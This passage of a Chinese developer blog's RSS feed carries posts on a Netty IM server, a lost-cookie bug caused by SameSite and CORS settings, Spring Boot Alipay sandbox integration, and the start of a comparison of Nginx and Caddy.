&#123;<br>        <span class="hljs-type">ImMsg</span> <span class="hljs-variable">imMsg</span> <span class="hljs-operator">=</span> (ImMsg) msg;<br>        System.out.println(<span class="hljs-string">&quot;[服务端响应] message: &quot;</span> + imMsg);<br>    &#125;<br>&#125;<br><br></code></pre></td></tr></table></figure><hr><h1 id="八、运行与联调建议"><a href="#八、运行与联调建议" class="headerlink" title="八、运行与联调建议"></a>八、运行与联调建议</h1><ul><li><p>本地启动：直接运行 <code>NettyImServerApplication.main</code>，默认端口 <code>9090</code>。可通过 VM 参数配置端口。</p></li><li><p>客户端联调：自定义二进制协议，建议使用 Netty 客户端发送 <code>ImMsg.build(code, json)</code> 测试。</p></li><li><p>消息码定义：依赖 <code>ImMsgCodeEnum</code>（位于 <code>interfaces</code> 模块），保持服务端与客户端统一。</p></li><li><p>日志观察：关注连接初始化日志与各 Handler 打印，便于定位协议与路由问题。</p></li></ul><hr><h1 id="九、后续规划与优化点"><a href="#九、后续规划与优化点" class="headerlink" title="九、后续规划与优化点"></a>九、后续规划与优化点</h1><ul><li>会话管理：支持多端登录、设备标识绑定、在线状态同步。</li><li>心跳与超时：空闲检测与踢出策略、动态心跳周期。</li><li>鉴权与安全：接入令牌校验、签名验真、限流与防刷。</li><li>消息可靠：落库与离线消息、ACK 机制、重试策略。</li><li>可观测性：接入指标与追踪，压力测试与容量规划。</li><li>集群能力：多节点部署、连接迁移、消息广播与一致性。</li></ul><hr><blockquote><p> 作者：NowPion<br> 用代码驱动业务，让通信更稳定、更可观测。</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>页面刷新后cookie消失的bug</title>
      <link>https://blog.newpon.top/2025/11/01/%E9%A1%B5%E9%9D%A2%E5%88%B7%E6%96%B0%E5%90%8Ecookie%E6%B6%88%E5%A4%B1%E7%9A%84bug/</link>
      <description>分析排查前端单页面应用在页面刷新后 Cookie 丢失且后续请求无法携带的问题，深入拆解跨域 CORS、SameSite 属性与凭证模式（withCredentials）设置。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/%E5%89%8D%E7%AB%AF/">前端</category>
      <category domain="https://blog.newpon.top/tags/Cookie/">Cookie</category>
      <category domain="https://blog.newpon.top/tags/CORS/">CORS</category>
      <pubDate>Sat, 01 Nov 2025 07:14:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="问题发现"><a href="#问题发现" class="headerlink" title="问题发现"></a>问题发现</h1><p>今天在用 Cookie 做登录态时遇到一个诡异问题：刷新页面后，Cookie 自动消失；并且再次发起请求也不携带 Cookie。</p><hr><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> userApi = &#123;<br>  <span class="hljs-comment">// 发送登录验证码</span><br>  <span class="hljs-title function_">sendLoginCode</span>(<span class="hljs-params">phone</span>) &#123;<br>    <span class="hljs-keyword">return</span> api.<span class="hljs-title function_">postForm</span>(<span class="hljs-string">&#x27;/userLogin/sendLoginCode&#x27;</span>, &#123; phone &#125;)<br>  &#125;,<br><br>  <span class="hljs-comment">// 手机号+验证码登录</span><br>  <span class="hljs-title function_">login</span>(<span class="hljs-params">phone, code</span>) &#123;<br>    <span class="hljs-keyword">return</span> api.<span class="hljs-title function_">postForm</span>(<span class="hljs-string">&#x27;/userLogin/login&#x27;</span>, &#123; phone, code &#125;)<br>  &#125;,<br>&#125;<br><span class="hljs-comment">//在发送完请求后成功获取了cookie</span><br></code></pre></td></tr></table></figure><p><img src="https://pub-a57df07920d249cb9197910fe28b84a5.r2.dev/PicGo/image-20251101171555217.png" alt="image-20251101171555217"> </p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc">现象：<br><span class="hljs-bullet">- </span>发送新的请求并不会携带 Cookie<br><span class="hljs-bullet">- </span>页面刷新后 Cookie 就会消失<br></code></pre></td></tr></table></figure><hr><h2 id="问题原因"><a href="#问题原因" class="headerlink" title="问题原因"></a>问题原因</h2><p><img src="https://pub-a57df07920d249cb9197910fe28b84a5.r2.dev/PicGo/image-20251101171555217.png" alt="image-20251101172152297"></p><p>浏览器为了提高安全性，要求所有设置了 <code>SameSite=None</code> 的 cookies 都必须使用 <code>Secure</code> 属性，以确保它们仅通过 HTTPS 发送，防止中间人攻击和其他安全漏洞</p><p>进一步说明：</p><ul><li>Chrome 等现代浏览器对 <code>SameSite=None</code> 的 Cookie，如果没有同时设置 <code>Secure</code>，会直接拒绝或在刷新后丢弃。</li><li>本地开发若使用 <code>http://localhost</code>，即使是同源，若你的后端设置了 <code>SameSite=None</code>，也必须配合 <code>Secure</code> 并通过 HTTPS 传输，否则浏览器不予保留&#x2F;发送。</li></ul><hr><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><p>服务器端正确设置 Cookie（示例以 Node.js&#x2F;Express）：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// 服务器: 设置登录态 Cookie</span><br>res.<span class="hljs-title function_">cookie</span>(<span class="hljs-string">&#x27;token&#x27;</span>, token, &#123;<br>  <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span>,      <span class="hljs-comment">// 避免 JS 访问，降低 XSS 风险</span><br>  <span class="hljs-attr">secure</span>: <span class="hljs-literal">true</span>,        <span class="hljs-comment">// 只在 HTTPS 下发送（SameSite=None 必须搭配）</span><br>  <span class="hljs-attr">sameSite</span>: <span class="hljs-string">&#x27;None&#x27;</span>,    <span class="hljs-comment">// 跨站请求需要携带 Cookie</span><br>  <span class="hljs-attr">maxAge</span>: <span class="hljs-number">7</span> * <span class="hljs-number">24</span> * <span class="hljs-number">3600</span> * <span class="hljs-number">1000</span>, <span class="hljs-comment">// 7 天</span><br>  <span class="hljs-attr">path</span>: <span class="hljs-string">&#x27;/&#x27;</span>,<br>&#125;)<br></code></pre></td></tr></table></figure><p>客户端开启携带凭据（以 Axios 为例）：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">import</span> axios <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;axios&#x27;</span><br><br>axios.<span class="hljs-property">defaults</span>.<span class="hljs-property">withCredentials</span> = <span class="hljs-literal">true</span><br><span class="hljs-comment">// 或者: axios.create(&#123; withCredentials: true &#125;)</span><br><br><span class="hljs-comment">// 发起请求</span><br>axios.<span class="hljs-title function_">post</span>(<span class="hljs-string">&#x27;https://api.example.com/userLogin/login&#x27;</span>, &#123; phone, code &#125;)<br></code></pre></td></tr></table></figure><p>服务端 CORS 必须允许携带凭据：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// Express CORS</span><br><span class="hljs-keyword">import</span> cors <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;cors&#x27;</span><br>app.<span class="hljs-title function_">use</span>(<span class="hljs-title function_">cors</span>(&#123;<br>  <span class="hljs-attr">origin</span>: <span class="hljs-string">&#x27;https://web.example.com&#x27;</span>, <span class="hljs-comment">// 不能用 *，需明确来源</span><br>  <span class="hljs-attr">credentials</span>: <span class="hljs-literal">true</span>,                  <span class="hljs-comment">// 允许凭据（Cookie）</span><br>&#125;))<br><br><span class="hljs-comment">// 或手动设置头</span><br>res.<span class="hljs-title function_">setHeader</span>(<span class="hljs-string">&#x27;Access-Control-Allow-Origin&#x27;</span>, <span class="hljs-string">&#x27;https://web.example.com&#x27;</span>)<br>res.<span class="hljs-title function_">setHeader</span>(<span class="hljs-string">&#x27;Access-Control-Allow-Credentials&#x27;</span>, <span class="hljs-string">&#x27;true&#x27;</span>)<br></code></pre></td></tr></table></figure><p>域与路径设置：</p><ul><li><code>domain</code> 应设置为需要生效的主域或子域，避免跨域不匹配。</li><li><code>path</code> 一般设为 <code>/</code>，否则部分路由下不会发送 Cookie。</li></ul><hr><h2 id="本地开发的可选方案"><a href="#本地开发的可选方案" class="headerlink" title="本地开发的可选方案"></a>本地开发的可选方案</h2><ul><li>使用 HTTPS：通过 Nginx&#x2F;Caddy 反向代理本地服务并签发本地证书（可用 <code>mkcert</code> 信任开发证书）。</li><li>如果暂时无法 HTTPS，又需要跨站携带 Cookie：<ul><li>避免使用 <code>SameSite=None</code>，改为同站开发（前后端同源），或在需要时使用 Token 方案。</li><li>但注意：<code>SameSite=Lax/Strict</code> 在跨站请求场景下通常不会携带 Cookie。</li></ul></li></ul><hr><h2 id="常见坑排查清单"><a href="#常见坑排查清单" class="headerlink" title="常见坑排查清单"></a>常见坑排查清单</h2><ul><li>是否设置了 <code>SameSite=None</code> 却没有 <code>Secure</code>。</li><li>是否启用了 <code>withCredentials</code>，同时服务端 <code>Access-Control-Allow-Credentials: true</code> 且 <code>Allow-Origin</code> 为具体域。</li><li>Cookie 是否为 <code>HttpOnly</code>（JS 不可读），但这不会影响请求是否携带。</li><li>是否设置了 <code>domain</code>&#x2F;<code>path</code> 导致作用域不匹配。</li><li>是否仅为“会话 Cookie”（无 <code>Expires/Max-Age</code>）：刷新通常不丢失，但关闭浏览器会失效。</li><li>是否存在子域&#x2F;端口不同导致跨站。</li></ul><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>刷新后 Cookie 消失，往往是因为浏览器的新安全策略：<code>SameSite=None</code> 必须配合 <code>Secure</code> 且通过 HTTPS 传输。配合前端 <code>withCredentials</code> 和服务端正确的 CORS 设置，并确保域与路径匹配，即可稳定保留与携带 Cookie。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Spring Boot 整合支付宝</title>
      <link>https://blog.newpon.top/2025/10/30/SpringBoot%E6%95%B4%E5%90%88%E6%94%AF%E4%BB%98%E5%AE%9D/</link>
      <description>介绍 Spring Boot 集成支付宝 Easy SDK 的实战流程，涵盖公私钥配置、沙箱环境联调、统一下单接口调用及异步支付回调通知验签处理。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Spring-Boot/">Spring Boot</category>
      <category domain="https://blog.newpon.top/tags/%E6%94%AF%E4%BB%98%E5%AE%9D/">支付宝</category>
      <category domain="https://blog.newpon.top/tags/%E6%94%AF%E4%BB%98%E9%9B%86%E6%88%90/">支付集成</category>
      <pubDate>Thu, 30 Oct 2025 12:08:55 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="一、前提准备"><a href="#一、前提准备" class="headerlink" title="一、前提准备"></a>一、前提准备</h1><p>在开始整合之前，你需要准备以下配置：</p><ul><li><strong>AppID</strong>：支付宝应用唯一标识  </li><li><strong>应用私钥（appPrivateKey）</strong>：自己生成，用于签名  </li><li><strong>支付宝公钥（alipayPublicKey）</strong>：从支付宝开放平台获取  </li><li><strong>应用公钥（appPublicKey）</strong>：配置在支付宝后台  </li><li><strong>异步回调地址（notifyUrl）</strong>：支付成功后支付宝通知的接口  </li><li><strong>支付宝网关地址</strong>（沙箱环境为 <code>https://openapi-sandbox.dl.alipaydev.com/gateway.do</code>）</li></ul><hr><h1 id="二、Maven-依赖"><a href="#二、Maven-依赖" class="headerlink" title="二、Maven 依赖"></a>二、Maven 依赖</h1><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">dependencies</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 支付宝 Easy SDK --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>com.alipay.sdk<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>alipay-easysdk<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>2.2.0<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 支付宝官方 Java SDK --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>com.alipay.sdk<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>alipay-sdk-java<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>4.34.0.ALL<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependencies</span>&gt;</span><br></code></pre></td></tr></table></figure><blockquote><p>💡 推荐使用 <strong>Easy SDK</strong> 进行业务封装，但如需更灵活的控制，可配合官方 SDK 一起使用。</p></blockquote><hr><h1 id="三、配置文件（application-yml）"><a href="#三、配置文件（application-yml）" class="headerlink" title="三、配置文件（application.yml）"></a>三、配置文件（application.yml）</h1><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">alipay:</span><br>  <span class="hljs-attr">appId:</span>           <span class="hljs-comment"># 支付宝应用AppID</span><br>  <span class="hljs-attr">appPrivateKey:</span>   <span class="hljs-comment"># 应用私钥</span><br>  <span class="hljs-attr">alipayPublicKey:</span> <span class="hljs-comment"># 支付宝公钥</span><br>  <span class="hljs-attr">notifyUrl:</span>       <span class="hljs-comment"># 支付成功后的异步回调地址</span><br></code></pre></td></tr></table></figure><hr><h1 id="四、支付宝配置类初始化"><a href="#四、支付宝配置类初始化" class="headerlink" title="四、支付宝配置类初始化"></a>四、支付宝配置类初始化</h1><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@Data</span><br><span class="hljs-meta">@Component</span><br><span class="hljs-meta">@ConfigurationProperties(prefix = &quot;alipay&quot;)</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">AliPayConfig</span> &#123;<br>    <span class="hljs-keyword">private</span> String appId;<br>    <span class="hljs-keyword">private</span> String appPrivateKey;<br>    <span class="hljs-keyword">private</span> String alipayPublicKey;<br>    <span class="hljs-keyword">private</span> String notifyUrl;<br><br>    <span class="hljs-meta">@PostConstruct</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">init</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-type">Config</span> <span class="hljs-variable">config</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Config</span>();<br>        config.protocol = <span class="hljs-string">&quot;https&quot;</span>;<br>        config.gatewayHost = <span class="hljs-string">&quot;openapi.alipaydev.com&quot;</span>; <span class="hljs-comment">// 沙箱网关</span><br>        config.signType = <span class="hljs-string">&quot;RSA2&quot;</span>;<br>        config.appId = <span class="hljs-built_in">this</span>.appId;<br>        config.merchantPrivateKey = <span class="hljs-built_in">this</span>.appPrivateKey;<br>        config.alipayPublicKey = <span class="hljs-built_in">this</span>.alipayPublicKey;<br>        config.notifyUrl = <span class="hljs-built_in">this</span>.notifyUrl;<br>        Factory.setOptions(config);<br>        System.out.println(<span class="hljs-string">&quot;✅ 支付宝SDK初始化成功&quot;</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h1 id="五、支付与回调接口"><a href="#五、支付与回调接口" class="headerlink" title="五、支付与回调接口"></a>五、支付与回调接口</h1><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@RestController</span><br><span class="hljs-meta">@RequestMapping(&quot;/alipay&quot;)</span><br><span class="hljs-meta">@Transactional(rollbackFor = Exception.class)</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">AliPayController</span> &#123;<br><br>    <span class="hljs-meta">@Resource</span><br>    <span class="hljs-keyword">private</span> AliPayConfig aliPayConfig;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">String</span> <span class="hljs-variable">GATEWAY_URL</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;https://openapi-sandbox.dl.alipaydev.com/gateway.do&quot;</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">String</span> <span class="hljs-variable">FORMAT</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;JSON&quot;</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">String</span> <span class="hljs-variable">CHARSET</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;utf-8&quot;</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">String</span> <span class="hljs-variable">SIGN_TYPE</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;RSA2&quot;</span>;<br><br>    <span class="hljs-comment">/** 获取支付二维码 **/</span><br>    <span class="hljs-meta">@GetMapping(&quot;/pay&quot;)</span> <span class="hljs-comment">// /alipay/pay?subject=测试订单&amp;traceNo=123456&amp;totalAmount=0.01</span><br>    <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">pay</span><span class="hljs-params">(AliPay aliPay)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">AlipayClient</span> <span class="hljs-variable">client</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DefaultAlipayClient</span>(<br>                GATEWAY_URL,<br>                aliPayConfig.getAppId(),<br>                aliPayConfig.getAppPrivateKey(),<br>                FORMAT,<br>                CHARSET,<br>                aliPayConfig.getAlipayPublicKey(),<br>                SIGN_TYPE<br>        );<br><br>        <span class="hljs-type">AlipayTradePrecreateRequest</span> <span class="hljs-variable">request</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">AlipayTradePrecreateRequest</span>();<br>        <span class="hljs-type">AlipayTradePrecreateModel</span> <span class="hljs-variable">model</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">AlipayTradePrecreateModel</span>();<br>        model.setOutTradeNo(aliPay.getTraceNo());<br>        model.setSubject(aliPay.getSubject());<br>        model.setTotalAmount(String.valueOf(aliPay.getTotalAmount()));<br>        request.setBizModel(model);<br>        request.setNotifyUrl(aliPayConfig.getNotifyUrl());<br><br>        <span class="hljs-type">AlipayTradePrecreateResponse</span> <span class="hljs-variable">response</span> <span class="hljs-operator">=</span> client.execute(request);<br>        <span class="hljs-keyword">return</span> response;<br>    &#125;<br><br>    <span class="hljs-comment">/** 支付宝异步通知回调 **/</span><br>    <span class="hljs-meta">@PostMapping(&quot;/notify&quot;)</span><br>    <span class="hljs-keyword">public</span> String <span class="hljs-title function_">notify</span><span class="hljs-params">(HttpServletRequest request)</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-keyword">if</span> (<span class="hljs-string">&quot;TRADE_SUCCESS&quot;</span>.equals(request.getParameter(<span class="hljs-string">&quot;trade_status&quot;</span>))) &#123;<br>            System.out.println(<span class="hljs-string">&quot;========= 支付宝异步回调 =========&quot;</span>);<br><br>            Map&lt;String, String&gt; params = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span>&lt;&gt;();<br>            request.getParameterMap().forEach((k, v) -&gt; params.put(k, v[<span class="hljs-number">0</span>]));<br><br>            <span class="hljs-keyword">if</span> (Factory.Payment.Common().verifyNotify(params)) &#123;<br>                <span class="hljs-comment">// ✅ 验签通过</span><br>                System.out.println(<span class="hljs-string">&quot;交易名称: &quot;</span> + params.get(<span class="hljs-string">&quot;subject&quot;</span>));<br>                System.out.println(<span class="hljs-string">&quot;交易状态: &quot;</span> + params.get(<span class="hljs-string">&quot;trade_status&quot;</span>));<br>                System.out.println(<span class="hljs-string">&quot;支付宝交易凭证号: &quot;</span> + params.get(<span class="hljs-string">&quot;trade_no&quot;</span>));<br>                System.out.println(<span class="hljs-string">&quot;商户订单号: &quot;</span> + params.get(<span class="hljs-string">&quot;out_trade_no&quot;</span>));<br>                System.out.println(<span class="hljs-string">&quot;交易金额: &quot;</span> + params.get(<span class="hljs-string">&quot;total_amount&quot;</span>));<br>                System.out.println(<span class="hljs-string">&quot;买家ID: &quot;</span> + params.get(<span class="hljs-string">&quot;buyer_id&quot;</span>));<br>                System.out.println(<span class="hljs-string">&quot;付款时间: &quot;</span> + params.get(<span class="hljs-string">&quot;gmt_payment&quot;</span>));<br>                <span class="hljs-comment">// <span class="hljs-doctag">TODO:</span> 更新订单状态为“已支付”</span><br>            &#125;<br>        &#125;<br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;success&quot;</span>;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h1 id="六、生成支付二维码"><a href="#六、生成支付二维码" class="headerlink" title="六、生成支付二维码"></a>六、生成支付二维码</h1><p>返回的 JSON 数据中会包含一个 <code>qrCode</code> 字段，<br>可使用第三方工具（如 <code>ZXing</code>）生成二维码进行扫码支付。</p><p>例如：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">String</span> <span class="hljs-variable">qrCode</span> <span class="hljs-operator">=</span> response.getQrCode();<br>QRCodeUtil.generate(qrCode, <span class="hljs-string">&quot;alipay_qr.png&quot;</span>);<br></code></pre></td></tr></table></figure><blockquote><p>在支付宝沙箱模式中，你可以使用沙箱钱包 App 扫码模拟支付。</p></blockquote><hr><h1 id="七、常见问题-建议"><a href="#七、常见问题-建议" class="headerlink" title="七、常见问题 &amp; 建议"></a>七、常见问题 &amp; 建议</h1><ol><li><p><strong>测试环境</strong><br>   使用 <a href="https://open.alipay.com/developmentAccess/devSandbox">支付宝开放平台沙箱环境</a> 测试，无需真实支付。  </p></li><li><p><strong>异步通知</strong><br>   回调接口必须为公网可访问地址，否则支付宝无法回调。  </p></li><li><p><strong>密钥安全</strong><br>   请勿在前端或公开仓库暴露私钥信息。  </p></li><li><p><strong>生产环境网关</strong><br>   正式环境网关为 <code>https://openapi.alipay.com/gateway.do</code>。</p></li></ol><hr><h1 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h1><p>本文通过简单的配置和代码实现了：</p><ul><li>支付宝 SDK 初始化  </li><li>生成支付二维码接口  </li><li>异步回调验签逻辑</li></ul><p>至此，一个完整的 <strong>支付宝扫码支付功能</strong> 就整合完成了。<br>如需扩展，可继续实现退款、查询、关闭订单等接口。</p><hr><blockquote><p>✍️ <em>Author: NowPion</em><br>💬 “用代码驱动业务，让支付更简单。”</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>Nginx与Caddy</title>
      <link>https://blog.newpon.top/2025/10/25/Nginx%E4%B8%8ECaddy/</link>
      <description>对比 Nginx 与 Caddy 两大反向代理服务器的核心特性、性能表现与配置差异，并提供基于 Docker 的快速部署与反向代理实战示例。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Docker/">Docker</category>
      <category domain="https://blog.newpon.top/tags/Nginx/">Nginx</category>
      <category domain="https://blog.newpon.top/tags/Caddy/">Caddy</category>
      <category domain="https://blog.newpon.top/tags/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86/">反向代理</category>
      <pubDate>Sat, 25 Oct 2025 08:56:18 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="Nginx-与-Caddy：特点、区别与-Docker-部署"><a href="#Nginx-与-Caddy：特点、区别与-Docker-部署" class="headerlink" title="Nginx 与 Caddy：特点、区别与 Docker 部署"></a>Nginx 与 Caddy：特点、区别与 Docker 部署</h1><p>本文面向常见的反向代理与静态站点场景，对比 <strong>Nginx</strong> 与 <strong>Caddy</strong> 的核心特点与差异，并给出在 Windows 环境下使用 <strong>Docker</strong> 的快速部署示例，帮助你按需选择与落地。</p><hr><h2 id="为什么关注"><a href="#为什么关注" class="headerlink" title="为什么关注"></a>为什么关注</h2><ul><li>统一入口：反向代理整合多服务与路由。</li><li>HTTPS 与安全：证书与重定向策略标准化管理。</li><li>性能与稳定：高并发、低资源占用，适合生产环境。</li><li>易用性：配置、热更新与可观测性影响运维效率。</li></ul><hr><h2 id="特点速览"><a href="#特点速览" class="headerlink" title="特点速览"></a>特点速览</h2><h3 id="Nginx"><a href="#Nginx" class="headerlink" title="Nginx"></a>Nginx</h3><ul><li>高性能与低资源占用，成熟生态与广泛应用。</li><li>配置文件（<code>nginx.conf</code>）语法稳定，适合复杂路由与负载均衡。</li><li>反向代理与负载均衡（<code>upstream</code>），静态资源与缓存支持好。</li><li>模块生态丰富（开源&#x2F;商业），社区资料多，排障成本低。</li><li>热重载通过 <code>nginx -s reload</code>，支持零停机更新。</li></ul><h3 id="Caddy"><a href="#Caddy" class="headerlink" title="Caddy"></a>Caddy</h3><ul><li>开箱即用的自动 HTTPS（ACME），证书自动申请与续期。</li><li>简洁的 <code>Caddyfile</code> 配置，支持 JSON 与 Admin API 动态管理。</li><li>反向代理简单（<code>reverse_proxy</code>），内置 HTTP&#x2F;2、HTTP&#x2F;3（QUIC）。</li><li>结构化日志与良好默认安全策略，易于现代化运维。</li><li>插件生态活跃（相对更小），功能覆盖常用站点与网关需求。</li></ul><hr><h2 id="核心区别一览"><a href="#核心区别一览" class="headerlink" title="核心区别一览"></a>核心区别一览</h2><ul><li>配置与管理：<ul><li>Nginx 使用 